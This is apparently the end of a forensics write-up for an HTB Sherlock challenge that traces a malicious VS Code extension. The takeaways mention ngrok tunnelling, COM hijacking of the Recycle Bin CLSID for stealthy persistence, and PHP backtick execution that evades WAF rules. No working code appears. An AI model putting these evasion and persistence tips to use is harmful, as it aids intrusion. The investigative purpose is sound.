Pivoted from --virtaddr (failed, paged-out) to --physaddr (succeeded) for dumping extension.js. Cross-referenced the netscan IP with the deobfuscated source code to recover the hostname split across two strings. Used git diff to instantly identify the web shell injection.

11.2 Key Takeaways

  • VS Code extensions run with full user privileges — no sandboxing. A malicious extension is equivalent to arbitrary code execution.
  • --physaddr succeeds where --virtaddr fails when pages are partially swapped out but still present at physical offsets.
  • JavaScript obfuscation uses string arrays + hex arithmetic; deobfuscators (deobfuscate.relative.im) recover readable code.
  • ngrok tunneling hides the attacker’s real IP behind cloud infrastructure (AWS) — IP-based blocking is ineffective.
  • COM Object Hijacking of the Recycle Bin CLSID is stealthier than Run keys — most EDR focuses on Run/scheduled tasks.
  • git diff is the fastest way to find tampered files in version-controlled projects.
  • Backtick execution in PHP (`cmd`) evades WAF rules scanning for system()/exec()/shell_exec().
  • Wayback Machine preserves deleted Marketplace listings — essential for supply-chain investigations.

11.3 New Techniques

Volatility 3 filescan/dumpfiles with --physaddr, JavaScript deobfuscation, ngrok tunnel identification, COM Object Hijacking (CLSID {645FF040-…}), git diff for web shell detection, and Wayback Machine OSINT for deleted Marketplace listings.


12. References

HTB Sherlock · ReliableThreat · Memory Forensics · 2024-07-23